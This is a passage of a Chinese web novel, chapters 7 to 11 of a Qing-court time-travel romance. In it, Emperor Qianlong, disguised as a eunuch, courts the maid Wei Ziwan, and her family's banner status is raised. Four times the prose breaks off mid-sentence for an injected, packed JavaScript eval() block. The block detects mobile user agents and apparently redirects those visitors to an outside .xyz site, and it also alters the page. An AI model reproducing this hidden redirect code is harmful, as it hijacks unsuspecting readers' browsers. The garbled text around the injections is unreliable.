《乾隆宠妃日常(清穿)》 7. 第 7 章 当今皇太后尚佛,宫中风气亦是如此,乃至这摆着的交椅都是有着特殊意义的。 从第九把交椅开始,便是寻常的样式了,就这还是妃子们渴求坐上的位置,十二把交椅代表着两贵妃、四妃、六嫔这十二个后宫主位,至今为止,长春宫的十二把交椅尚未有人坐满,那些位份不足的,只能坐着绣墩。 这绣墩还得贵人位份才能坐得了,常在或是答应只得可怜巴巴站在一旁。 这才是宫中妃子渴望往上爬的原因之一——谁不想坐着,让底下人只得渴慕着自己的位置,况且皇后不常让人请安,一旦请安了,就有许多的事儿要说,站上半个时辰还是少的。 只是今日一来,妃子们无心关注最近发生什么大事,也不在乎自己要站多久、坐多久,大多数人目光落在高贵妃和皇后身上,眼底兴致盎然,摆明了想看皇后和高贵妃好戏。 昨晚万岁爷可是舍下皇后娘娘去陪贵妃娘娘了啊,即便万岁爷没有亲临咸福宫,可万岁爷在皇后娘娘和高贵妃之间选了高贵妃,这足以说明万岁爷的心呐,是偏向贵妃娘娘的。 皇后轻扫一眼高贵妃,见高贵妃手中把玩着金纍丝三设香囊,神色漫不经心,心里怒火再增一筹,只是她一向隐忍,兼之世家大族的出身,从小喜怒不形于色,见此也只是微微一笑. “贵妃,昨晚难为你伺候万岁爷了,早前皇额娘送本宫的百年人参,本宫念及你身体羸弱,将这人参赏给你,还望你养好身子,为万岁爷开枝散叶。” 她朝身旁人点头,冬菊立马拿出装着百年人参的盒子,递给贵妃身边人秋水。 秋水是贵妃贴身宫女,气势却比冬菊更盛几分,即便此时拿着人参,也只是不浅不淡代主子行礼,“多谢皇后娘娘惦记咱们娘娘。” 高贵妃皮笑肉不笑,“皇后娘娘真是有心了,生怕臣妾生不出孩子,也罢也罢,娘娘用心良苦,臣妾怎能辜负,秋水,将人参收起来,臣妾多谢娘娘关心。” 她站起身来,正儿八经行礼,即便行礼,她的头颅不曾低下。 两人气势不相上下,看得一旁宫妃声儿不敢出,纯妃缩起脑袋,暗自庆幸自己给万岁爷上眼药的事没被贵妃娘娘追究,她也真是的,这龙争虎斗,她还非得掺和进去一脚。 好好养着永璋永瑢不挺好的,就这后宫,除了皇后娘娘和高贵妃,就她最大,就她有两个儿子,就算嘉妃有子,也就一个儿子。 这么一想,纯妃心情好多了。 贵妃心里憋着气,昨晚压过皇后的得意消散,她脑子里还在想着皇后口中的开枝散叶,这么多年过去了,她难道不想生吗,这些人嫌她生不了孩子还霸占恩宠,可谁叫她们没用,争不了皇宠! 皇后扳回一局,心情还算好,转头问起愉嫔五阿哥的情况,愉嫔谨小慎微答道:“娘娘放心,永琪近来胃口不错,身量高了,长胖了不少,重了半斤。” 皇后娘娘微微点了下头,看向嘉妃,“永珹也到了上尚书房的年纪,嘉妃,你仔细备着。” 嘉妃点头,“是,娘娘。” 等今日该说的事说完了以后,宫妃们告退。 高贵妃第一个走出长春宫,气势汹汹,完全没有外人眼中身体羸弱之态,皇后也只能叹一声贵妃骄傲了。 只是再骄傲,也抵不过寿命不长,皇后还能忍着贵妃一而再再而三冒犯自己中宫之主的身份,一是看在贵妃不能生,二是看在贵妃快死了。 谁会真正跟一个快死的人斤斤计较,贵妃非要给她没脸时除外。 …… 咸福宫,高贵妃坐在炕上,紫檀镶螺钿大理石心炕桌上摆着玉石做的茶壶,她面前站着三人。 依次是林氏、柏氏和索绰络氏。 高贵妃帕子捂在嘴上,发出咳咳的闷声,一下接着一下,敲打着三人,三人都知贵妃身体不好,也知道自己不管心里有何想法,在贵妃面前都得装,学着贵妃模样。 自己能不能势大,能不能作为贵妃娘娘唯一的影子,全看贵妃娘娘心思。 高贵妃眼神审视,“今晚就柏氏吧。” 柏氏心里一喜,“是,娘娘。” 这消息不用多久就传到帝王耳中,皇帝不愿理会这档事,转念就想到了魏紫菀,便又换一套衣裳去景阳宫。 魏紫菀这几日跟景阳宫的总管太监打交道打发时间,光是有原身记忆还不够,远离了长春宫那些原身的老熟人,她才能在宫里打探消息。 景阳宫的总管太监叫李祖德,对圆寿身份心知肚明,自然对魏紫菀无所不从,魏紫菀借着这个由头打听了太妃们。 理由也很清晰,她目的是要像关嬷嬷一样找到一个可靠的主子傍身,她这模样想要找宫妃们当靠山不可靠,还不如将目光投向太妃们。 像是和硕和亲王弘昼生母裕贵太妃,或是多罗果郡王弘曕生母谦太妃,或是那春常在、李常在,她们位份不高,但在原身记忆里却是长寿之人。 “紫菀姑娘。”低沉有力的声音响起。 魏紫菀抬头一看,是圆寿,不禁眼睛一亮,看了眼李祖德公公,李祖德含笑道:“我这还有点事,我先走了。” 他是断然不敢打扰万岁爷兴致的。 魏紫菀兴冲冲小跑到圆寿身边,“圆寿公公,怎么老半天没见你踪影,你去哪儿了?” 乾隆含笑道:“你慢点,见到我这么开心?” “是挺高兴的。”魏紫菀在走近时才放慢脚步,“在景阳宫,我就你一个能说说心里话的,见到你我怎能不高兴。” 乾隆随她进宫所,“那也太可怜了,看来我得经常留下来了。” “嗯。”魏紫菀毫不客气,乾隆失笑。 昨日打扫的地盘还没覆盖到整个宫所,今日还是依着昨日的进度继续。 不过今日一大早,魏紫菀就仔仔细细将今日任务完成一大半,就是想空下时间跟圆寿说说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357996|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>乾隆略微惊讶看着满屋的干净,目光落在魏紫菀身上,看着她满目邀功,可怜又可爱,不免心软了一下,“怎么不等我过来?” “反正闲着也是闲着,我还想跟你多说会儿话。”魏紫菀实诚道。 乾隆心里越发无奈了,也是觉得这姑娘越发可爱了。 等活儿干完后,魏紫菀兴致勃勃道:“听说关嬷嬷早些年伺候过果郡王,跟谦太妃有些关系,我想着要是能让关嬷嬷帮我一把,我兴许就能伺候太妃了,这可是门好差事,要是幸运的话,我成为太妃身边人,日子肯定过得比从前好。” “你就不想着其他后路?”乾隆努力暗示,朝着乾清宫方向扬了扬下巴。 “什么后路?”魏紫菀茫然顺着他方向看过去,“乾清宫?万岁爷?” “是啊。”乾隆不大自然收回目光,“万岁爷英明神武,我瞧你模样长得不错,兴许能谋个前途。” 他看这姑娘不像没有胆量的,都能主动为自己谋划之后的路,怎会一开始就杜绝这种事情的发生。 “万岁爷是英明神武,虎胆龙威,只是我没胆子。”魏紫菀缩了缩脖子,实在极了。 “为何?”乾隆更不解了,是不是他平时的名声将人姑娘吓着了,可这不该吧,他自诩对后宫妃子还算不错,不压着位份,最常去的也是潜邸旧人的宫所。 魏紫菀左右环视一周,生怕隔墙有耳,“我同你一见如故,我也不怕跟你说,家里人不能护住我,我出宫后嫁的人也未必能护住我,但至少在宫里,我要是伺候好主子,主子兴许能护住我,万岁爷英明神武,我自是不敢觊觎万岁爷。” 你倒是给朕觊觎看看啊! 朕那么大个人放在那里,你不是挺大胆的吗,朕都站在你面前了,你要是敢胆子大点,朕立马下旨封你为妃! 朕说到做到! 乾隆心里恨铁不成钢,但怕吓着人,没敢将心里话托盘而出。 他清了清嗓子,“咳,万事不能笃定,要是你成为贵主儿,我兴许能跟着你吃香喝辣。” 魏紫菀看了他一眼,在他鼓励的眼神中没出息的摇了摇头,“我不敢。” “你可真是——”乾隆被气笑了,这姑娘想过出宫嫁人,想过投靠太妃,就是没想过皇帝这条退路,他有这么不行吗? 乾隆开始怀疑起自己的身份、权势和地位了。 最终不得不承认,这姑娘不该胆大的时候胆大,不该胆小的时候胆小。 只是更具体的原因他不明白,紫菀在长春宫时就掩饰容貌,这其中是包含了她不敢的缘故吗? 皇帝心里存了疑惑,下定决心深究她为何不愿成为宫妃。 往后一个月,皇帝没忘日日前去景阳宫,高贵妃推上来的宫女,他只当自己这些日子修身养性,不愿临幸,也算是做敲打贵妃之意。 经过一个多月的努力,皇帝总算抓着紫菀姑娘心软又好说话的毛病,探清楚原因了。 8. 第 8 章 “你是说你怕万岁爷忘了你?”任乾隆怎么想,也想不到是这个原因。 魏紫菀左右环视,“你小点声,隔墙有耳!”奴才直视君颜都得拖出去打板子,这人就仗着自己是皇帝能说得这么大声,太有恃无恐了。 她现在身份可不是宫妃。 “是是是,我小声点。”乾隆无奈,压低声音,“万岁爷绝对不是负心人。”他自己是什么人,自己能不清楚?固然多情,但绝不是薄情之人。 魏紫菀摇头,实诚道:“我以前跟你说过,我要不就嫁给平民百姓做唯一的妻子,要不就嫁给能护得住我的人。” “万岁爷不足以护住你?”乾隆反问。 “万岁爷万人之上,怎会护不住自己的女人,只是万岁爷对娘娘们情深意切,我怕是永远无法像娘娘们那样得君心。” 魏紫菀明白皇帝打算,却不打算那么轻易成为他的宫妃。 她要得到一个承诺,保证她侍寝后不会遭到潜邸旧人们针对的承诺,像怡嫔柏氏那样糟糕的情况,绝对不要发生在她身上。 乾隆愣住了,看着姑娘坚定不显怯懦的眼神,心微微一颤。 他还从未想过是这个原因,她是怕被他忘在脑后吧,也是,他既然打算纳人家姑娘为妃,自然得为她排除后患,他郑重其事道:“若是万岁爷起初封你为高位,并且待你不输给潜邸贵人,你可愿意为万岁爷妃嫔。” 魏紫菀奇怪地看了他一眼,无奈叹气,“圆寿公公,你别异想天开了,你放心好了,我跟你也算朋友了,以后有什么赏赐,一定分些给你。” “谁说我是异想天开。”乾隆在这个问题上异常执拗,“你还没跟我说愿不愿意。” 魏紫菀看他满脸执着,又看了眼四周,确认隔墙无耳,这才压低声音道:“要是这样,我也还是不大敢啊。” “你总得告诉我原因吧。”乾隆异常耐心,目光炯炯,“万一我有办法。” 魏紫菀想了想,“真不知道你非得问我这个做什么,想来我说了,你就不会再问我了吧。” “自然。”乾隆难得紧张起来,这姑娘该不会有心上人了吧,可进了宫,那就是他的人了,不许有心上人。 显然皇帝早就将魏紫菀说的没有心上人一话抛在脑后。 魏紫菀脸色羞赫,如含苞待放的昙花,柔和洁白,妩媚美丽,皇帝从没看过她害羞,一下子有些痴了。 “我就一宫女,我想那么多做什么,况且我也没娘娘们协理后宫的本事,我要是有幸成为宫妃娘娘,我只想躲起来不理世事。” “我还当是什么呢。”乾隆含笑,上前一步握住她的手,“只要解决了这事,你就该心甘情愿愿意嫁给朕了吧。” 魏紫菀后退一步,手想松开却松不开,不过她此时注意力不在这上面,她傻愣愣问道:“朕?” “是。”乾隆总算能正大光明袒露自己身份了,“朕心悦你,你可愿成为朕的妃子?” 魏紫菀在起初的吃惊后,反应慢慢恢复正常。 乾隆细细看着心爱姑娘漂亮的眸子闪烁异样的色彩,心里暗暗期待她会给出什么样的反应。 却听到魏紫菀好奇道:“所以说你真是皇上,可你装成太监就是为了跟我巧遇?” 魏紫菀老早就想问出这句话了,虽然计划顺利达成,可是这也跟她想要让皇上见识到她心意被她感动的计划大相径庭,因为她以为皇帝会装作侍卫接近她的,但没想到是太监。 巧妇难为无米之炊,皇帝要办成太监,那她就没法子了,但是既然让她为难一阵子了,她也得让皇上面露为难之色,她坏心眼道:“万岁爷,装成太监滋味怎么样?” 她忍不住戳了下皇帝腰身,即便皇帝主动袒露身份,可她还没有皇帝是皇帝的实际感。 乾隆动容的脸色一顿,无可奈何道:“你这小姑娘可真顽皮。” “万岁爷不喜欢?”魏紫菀瞧他模样不像是不喜欢啊。 乾隆平和道:“喜欢。” 与此同时将人揽进怀里,堵住那张让他又爱又恨的小嘴。 …… 魏紫菀被送出宫了。 没有名义上的送出宫,而是她进宫当宫女的痕迹被抹消掉,长春宫的奴才少一两个不碍事。 魏紫菀容貌跟原身大不一样,就算从前熟悉原身的人未必认得出魏紫菀,关嬷嬷和子衿除外,不过这两人本就是她能相信的人之一。 万岁爷的意思是想初封她为高位妃子,那就得抹除掉她在宫中当过宫女的身份,从宫女当起,这妃位一开始就不可能高,还得熬资历。 若是以大选贵女身份进宫,那意义就大不一样了。 至今宫里唯二不是潜邸旧人的高位是怡嫔柏氏和舒嫔叶赫那拉氏,前者起初身份连宫女都不如,只是民间美人,有幸怀孕了才被封嫔,而后者是以家世上位,论实际地位和前途,并不比潜邸贵人差。 后者少有人敢欺负,甚至连潜邸旧人都不敢轻易给脸色看,前者已经论落成失宠宫妃了。 再加上她跟皇帝袒露的‘真心话’,所以她不会走上柏嫔的道路,而是循着舒嫔的路子再走一遍。 至于怎么样让原本是包衣家族的魏氏女儿能参加大选,就是万岁爷要考虑的了。 当晚,家族中人得知此事个个都目瞪口呆,都没想到自家姑奶奶/女儿有这么大出息。 魏紫菀的祖父魏五十一曾任崇文门监督,在任职期间变卖抄没物品时惹了祸,而后这事并没有被揭露出来,继续担任总管内务府大臣。 可惜在生前惹出的祸还是由子孙承担了,父亲魏清泰变卖家产都还没偿还上欠皇家的银钱,家产都是负的。 要是没出这档事,魏紫菀就算要进宫,这家世不比其他妃子差多少,毕竟皇帝的潜邸旧人,大多身份低微。 魏清泰总共三子一女,都是嫡出,因着欠债的事,一家人挺齐心的,这十多年来努力为家族奋斗,想尽力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357997|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偿还欠皇家的债,结果三个儿子还没发挥作用,这唯一的女儿就能耐到被皇上看中了。 魏清泰问清楚女儿来龙去脉,忍不住哈哈大笑,“天不绝我魏家。” 魏清泰的夫人杨佳氏心疼地将女儿拉到身边,“紫菀,这两年你在宫里过得怎么样,瞧你,都瘦了。” 女儿能被万岁爷看中是件好事,毕竟他们这样的人家,想要寻一个好女婿,难之又难,还不如成为万岁爷宫妃,此后生下的子嗣都是皇家血脉,再不济,有万岁爷这一回的看重,封个高位,就算日后无所出,有银钱傍身,都比嫁给包衣奴才好千倍万倍。 “额娘,您放心,女儿很好。”魏紫菀环视众人,“只是我曾进宫这事不得声张,若是有外人问起,就说我是这些年身体弱,养在闺中足不出户。” “妹妹,我们都明白。”大哥和邦额和二哥魏英敏纷纷点头。 大嫂宋氏拉过三妹妹的手,“别的不说,你在宫里要好好照顾自己身子,你能为皇上妃子,我们魏氏一族与有荣焉,但是咱们一家人只要你过得好好的,这才是最重要的。” “知道了,大嫂。”魏紫菀目光柔和,大嫂对原身一直很好,因一直没有孩子出生,在刚嫁进门那两年一直将原身当作亲生女儿对待。 如今她成了原身,必然好好珍惜这副身子以及原身留下来的情感羁绊。 “好好,你明白就好。”宋氏微微叹气,她是清楚为帝王宫妃的不易的,她姑祖母是先帝懋嫔,虽说给家族带来莫大荣誉和好处,可姑祖母一连失去两位公主却是不争的事实。 她只盼着小妹进宫后,能快快怀上一孩子,只要平安生下,不管是阿哥还是公主,以后就有靠山可依靠了。 二嫂陈氏是原身进宫后二哥娶的嫂子,跟原身不甚亲近,但既然是一家人了,怎会不关心。 她摸了一下魏紫菀的脸蛋,语气坚定道:“瘦了,好妹妹,等下二嫂给你补补身子。” 介于陈氏是圣祖爷生来即夭亡的第三十五子胤禐的生母陈贵人的远房亲戚,跟大嫂一样,一致认定宫里的日子不好过,荣华富贵到手,但是却失了自由。 自家妹子那肯定是要好好补身子的,争取进宫后早点怀上皇嗣,以后不管皇上恩宠会维持多久,一个到手的主位以及用作养儿防老的子嗣,足以让自家妹子在宫里快快活活的过着了。 魏清泰也是这么想的,“女儿啊,你好好养着身子,咱们家的债不用你操心。” 即便女儿当上宫妃,魏清泰也没想让女儿帮忙还钱,女儿嫁给万岁爷就是皇家的人了,他们家哪能做出这种让女儿没脸的事。 但是高兴是真的高兴,一是意识到他们家族还没被万岁爷彻底放弃,等他们还清钱,总有一天魏家还能往上爬,二是为女儿高兴。 瞧万岁爷对女儿重视的模样,一个白来的嫔位不就到手了,要是女儿能在万岁爷新鲜的这段日子怀上一个孩子,哪怕是公主,也是他女儿赚了! 9. 第 9 章 可以说魏家人都挺清醒的。 不会觉得自家闺女进宫当妃子了就一定得宠,得宠了就一定会生下皇子公主。 只要女儿过得好,家里人也跟着高兴,况且自家欠了皇家银钱,将家产都卖光了,女儿/姑奶奶能占万岁爷便宜,改变包衣宫女的身份,就是为他们扳回一局。 在他们眼里,一个主位加可能会出生的皇子公主,远比魏紫菀出宫后嫁给一个有孩子亡妻的男人做填房好无数倍,而且以后儿女都不是包衣奴才的出身,这已然是逆天改命了! 所以在兴奋过后,魏清泰忍不住提点三个儿子了,“你们三啊,得学着你们姐妹多点,紫菀以后前途大好,你们可得给我争气些。” “阿玛,你就放心吧。”大哥和邦额拍拍胸膛,满脸骄傲,“儿子虽说只会识些字,但必然会考上举人,将来给妹妹撑腰!” 大儿子走的是科举道路,而且在这方面是有些天赋的。 魏清泰满意地抚着胡子,看向二儿子魏英敏。 二哥魏英敏在读书方面没天赋,在武学方面也没天赋,他挠了挠头,实诚道:“我就老老实实跟着阿玛办事吧。” 嗯,这样也好,是个孝顺老实的。 魏清泰对二儿子也挺满意,于是目光落在三儿子魏德馨身上。 却见魏德馨在女儿面前活蹦乱跳,“姐、姐,你还没告诉我皇宫里啥模样呢,你在宫里怎么过日子的——” 魏清泰没眼看了,小儿子比他见过最活泼的京巴儿还像京巴儿,罢了罢了,儿女们都大了,就这一个八九岁的小儿子,他能怎么办,还是纵容吧。 他戳了一下小儿子额头,小儿子摸了摸脑袋,“爹,你干啥?” “不干啥,你好好陪你姐说说话吧。” 魏清泰看了眼小女儿,心想这大概是他们全家人最后一次相聚了吧,等女儿进宫后,他们想要见面就难了。 只是比起日后女儿出宫后嫁给包衣奴才,他更宁愿女儿进宫当妃子,即便他们父女日后难相见,女儿的前途远比所谓的贫贱夫妻百事哀重要太多了,没有哪个当爹的不愿自己女儿过得好。 “好~”魏德馨趴在椅子上,屁股鼓起,“姐,你还没告诉我呢。” “告诉你做什么,你以后努努力,兴许就能进宫了。”魏紫菀含笑道,手上毫不犹豫掐着小弟软趴趴的脸蛋,这小孩儿脸蛋真软,真好捏! “姊,你干嘛捏我。”魏德馨含糊道,还是忍不住将脸蛋凑近些,更方便姐姐捏。 以后姐姐想捏还不常捏着了,他就让让姐姐吧。 魏德馨人小鬼大地想着,脑袋蹭了蹭姐姐的手掌,“姐,你可别忘了弟弟啊。” “好。”魏紫菀失笑,这个小孩儿怎么这么好玩,“以后你可得好好读书!等日后你成家立业了,姐姐为你感到骄傲。” “好!”魏德馨一鼓作气站起来叉腰,“姐,你就看着吧,不光大哥能为你撑腰,弟弟也能!” “这孩子。” 大嫂拍了下小弟脑袋,“你小不点想的还挺多的。” “我可不是小不点了。”魏德馨撑腰,满脸骄傲,“大嫂,我现在吃的可多了,肯定能马上长高,到时我一个打两!” 二嫂提起他衣领子把他丢给自己丈夫,“小叔子,得了吧,这得看你大哥二哥的,他们还在呢,轮得到你给小妹撑腰。” “我不服!”魏德馨试图挣扎,被他二哥镇压下去,“你不服也得服,你哥我还没死呢。” “哈哈哈——” 正堂内响起一片欢声笑语。 …… 正午过后,魏紫菀待在自己闺房里,杨佳氏轻轻敲了敲门,魏紫菀一愣,“进来吧。” 杨佳氏轻声走进来。 一见是杨佳氏,魏紫菀立马起身,过去扶她,“娘,您怎么进来了。” “娘是放心不下你啊。”杨佳氏拉着女儿坐下,摸了摸女儿发鬓。 她对自己的女儿一清二楚,知道万岁爷对女儿上心,这期间肯定有女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357998|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的算计,不然以女儿的聪慧,不可能认不出那是万岁爷,也清楚算计背后是女儿对他们一家子的担心。 以身入局谋得富贵。 “娘。”魏紫菀声音有些微颤抖,这是原身额娘,是原身从小到大叫着的娘,原身不在了,可此时此刻,她却能感受到原身对杨佳氏浓重的依恋。 “这是一百两,我和你爹商量过了,你进宫总得有些银两傍身,你别跟娘推辞,给了你的,你就收着,爹娘没法给你准备嫁妆,你不收下,爹娘心里过不去。” 杨佳氏将一百两银票塞在一个香囊里,放到魏紫菀手心。 魏紫菀张了张嘴,说不出话来,头靠在她怀里,“娘。” “我的乖女儿啊。”杨佳氏满眼宠溺,“娘今晚陪你睡吧。” “好……”魏紫菀闭上眼睛,享受这一份原本不属于她的母爱,突然穿成原身并非她所愿,只是从原身家人身上感受到的情感却是真的,她穿越的这个秘密会永远保密,但她会竭尽所能庇护魏家人,就算是她占据原身身子的最微不足道的义务。 …… 翌日一早,魏家上下喜气洋洋。 杨佳氏刚给女儿梳妆打扮好就被丈夫拉出门外。 “你这是怎么了?”杨佳氏颇有些嫌弃丈夫的毛毛躁躁,“我这才跟女儿没处多久,你有话快说!” “夫人,喜事一件啊!”魏清泰摩拳擦掌,杨佳氏抬头一看,儿子儿媳们脸上洋溢笑容,就连小儿子也在一旁蹦起来,“娘,咱们不是包衣奴才了!” “啥?”杨佳氏手一抖,揪着小儿子衣领,“德馨,你给娘好好说说,怎么说?” 魏德馨胖脸一扬,“娘,我说咱们不是包衣奴才了,万岁爷给咱们家抬旗了!” “我的老天爷啊。”杨佳氏心脏受不住这么大刺激,“怎么会这样。” “娘、娘。”两个儿媳赶紧过来扶助她,她脑袋晕晕沉沉,突然咧嘴一笑,“好事啊,咱们女儿进宫后也不会被人拿身份说事了!” 10. 第 10 章 她心里美滋滋的,魏清泰瞋她一眼,“你刚才可让我担心了。” “老爷,我这不是太高兴了。”杨佳氏挽住丈夫手臂,儿子儿媳对夫妻俩恩爱的一面见怪不怪了,毕竟家风如此,他们哪一对不是恩恩爱爱的。 “你给我仔细说说。”杨佳氏拉着丈夫坐下。 魏清泰这才娓娓道来。 今日一早,万岁爷便下达圣旨了,念及魏五十一生前生前待大清尽心尽力,子孙在其犯错后能积极弥补……从魏氏一族在大清入关就入了包衣旗籍的历史说起,总结下来是魏氏一族对大清忠心耿耿,将魏氏族人欠内务府的债平了,并且将其抬出汉军正黄旗包衣,为汉军正黄旗人。 这事也算在京城掀起好一阵反响了,谁也摸不透万岁爷心思,得亏万岁爷只从魏清泰这一脉开始抬旗,比起从清初时就编为包衣旗籍的魏绶恩为祖先时留下来的数十个子孙后代,魏氏一族抬出包衣旗的也就魏清泰及其子孙后代罢了。 满打满算也就五个人,许多人姑且将这当作万岁爷一时兴起。 “娘,你可不知咱们家一大早就迎来这好消息,转而二叔三叔就过来找上咱们家了。”大嫂感叹,贫居闹市无人问,富在深山有远亲。 幸运的是,他们家总算摆脱包衣奴才的身份,成为正儿八经的八旗旗人了,今后大选也有他们家女儿的一部分,也能跟非包衣家族联姻了。 这从眼下看起似乎没多大变化,可从长久来看,这对家族益处只多不少,自家人考科举能行方便,儿女有机会能跟世家大族联姻。 包衣奴才的身份决定了他们只得世世代代跟包衣家族联姻,偶尔出一两个例外跟世家大族联姻的,那又是另一个层次上的事了,就好比那个包衣家族中出了极有出息的子弟,世家大族跟他们联姻,那是给自家家族多搭一层关系,有益无害。 而对于魏氏一族这样既无出息子弟,又无祖上福荫,指望自己还是包衣奴才时有世家大族看中自家子弟,还是在梦里想想吧,最直接的方式是抬旗,抬出包衣旗以后,跟世家大族联姻的机会比傻愣愣指望自家出出息子弟的可能大多了。 “我还巴不得多跟他们说说高兴话呢。”杨佳氏喜气洋洋,自家有出息了,让旁人沾沾这喜气也是喜事。 至于二弟三弟家怎么想,谁管他们怎么想,他们家是靠女儿抬出包衣旗的,又不靠他们两家本事。 “今后啊,咱们都得管住口了,你们俩别跟自己娘家说这事。”杨佳氏喜色顿收,盯着两个儿媳妇,“你们只记住你们妹妹是大选进宫的,不是以包衣奴才身份进宫的,她是正儿八经的大选贵女,要是乱了身份,对紫菀不好,对咱们家也不好。” 大嫂点头,“娘,您放心,儿媳守口如瓶。” 别的不说,她嫁夫随夫,日后生下来的孩子随魏姓,小妹又被她视作嫡亲妹妹,娘家在她出嫁后始终跟她隔着一层了,她怎么会不向着自己夫家。 要知道,小妹过得越好,她将来的儿女才过得越好,她丈夫是家中长子,这长子嫡孙的身份,是魏家的顶梁柱! 二嫂拍拍胸膛,信誓旦旦,“娘,您还信不过儿媳?放心好了,我知道自家人和外家人的不同。” 女儿一旦出嫁后,就不再是娘家人了,婆家待她好,将她视作一家人,她男人又只对她好,她有何理由背叛婆家,他们是一家人,姑奶奶有出息了,他们一家子才能跟着有出息。 杨佳氏看得出她们说的都是真心话,脸色缓下来,她负责儿媳,儿子们就交给她男人吩咐,这官场上的事,男人比她清楚多了。 “爹娘,只是二叔三叔家却是清楚咱们妹妹早年进宫当宫女的。”大嫂蹙眉,都是自家亲戚,这么大动静是瞒不过人的。 要是宫里娘娘一查,不就立马清楚他们家妹妹曾经进宫当过宫女,先帝生母孝恭仁皇后早年伺候过孝懿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357999|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁皇后的事迹被她们众多家族知悉,从卑到贵者,总是少不了流言蜚语。 哪怕孝恭仁皇后最后贵为皇太后,也被视作是踩了孝懿仁皇后上位,可实际上先帝是从孝恭仁皇后肚子里出来的,是先帝有能耐夺得帝位,早早离世的孝懿仁皇后又能帮上多少呢。 她们并不希望自家妹妹也遇到这种事。 只怕有人从魏家抬旗这方面顺藤摸瓜,查到妹妹进宫当过宫女是在抬旗之前,等万岁爷册封妹妹为宫妃的圣旨一下,其他人都不是蠢的,不就立马反应过来妹妹跟万岁爷在宫里就见面了,以后的流言蜚语少不了是妹妹红颜祸水,存心勾引万岁爷。 “娘,这可怎么办?”二嫂捏着眉心,“万岁爷能将妹妹进宫过的事瞒住,可二叔三叔那边就不能指望他们守口如瓶了。” 就他们家得了抬旗的好处,二叔三叔家还是包衣奴才,谁受得了这种落差。 老大老二也跟着愁眉苦脸了。 魏清泰夫妇眉头蹙起,捏着眉心不住叹气。 魏清泰连连惋惜,“都怪我这个当爹的没出息,要是我升官了,何至于让女儿没脸。” 并非所有参加过包衣小选的女子都要进宫伺候人,当官的有权有势的包衣奴才大可暗地里操作一番,给钱打点让自家女儿落选,可惜他们家先前还欠着皇家钱,一家子过得紧巴巴的,哪有钱给女儿打点,也就这两年有女儿帮衬才稍稍缓过来点。 魏德馨看了眼爹娘,又看了眼哥哥嫂嫂们,不明白大家为何愁眉苦脸,他傻乐天说了一句,“爹娘,大哥大嫂二哥二嫂,你们不用担心啊。” “你这小娃儿,哪里懂了。”大嫂叹了一声。 魏德馨挠了挠脑袋,“大嫂,不用担心啊,姐姐进宫那年,我都说我姐是身体弱不出门。” “你说什么?”杨佳氏跟自家男人对视一眼,将小儿子招到身边,“怎么说的?跟娘仔细说说。” 11. 第 11 章 魏德馨傻乎乎道:“娘,我说姐是身体弱养在家里的。” “你怎么会想到这么说?” “我听说出宫的宫女大多过得不好,咱们家跟那些宫女家不一样,咱们肯定是会护着咱姐的,可万一姐夫嫌弃姐姐,那姐姐不就受大委屈了。” 魏德馨认真解释道。 这进宫的宫女在宫里并不好受,有的熬坏了眼睛,熬坏了身子骨,等到出宫后,很少有男人会娶宫女为妻的,毕竟男人娶妻子是想多出一个劳动力,还想给家里添丁,宫女生不了也干不了重活,又年纪大了,娶来有何用。 小小年纪的魏德馨偷听了二叔三叔家的讲话,眉头皱的死紧,小小脑袋想了半宿才想出一个不错的理由,就是他们姐姐没进宫当宫女,就是身子弱,放在家里养着。 杨佳氏脸上露出一丝笑意,“你这小子啊。” 甭管他们能不能瞒过去,就小儿子这份心,她很欣慰,但这话想瞒过老二老三家,难。 又不是不知自家事,老二老三家儿媳妇什么时候生孩子,她到现在都说得出准确的时辰,就这份知根知底的底细,骗谁呢。 杨佳氏拍了拍小儿子脑袋,“去陪你姐姐吧。” “好。”魏德馨兴致勃勃道,小跑到姐姐门前,“姐,我来找你了。” 魏紫菀推开门,入眼就是一个小不点。 这弟弟长得不高,一张娃娃脸,七八岁的年纪看起来像五六岁,可可爱爱的。 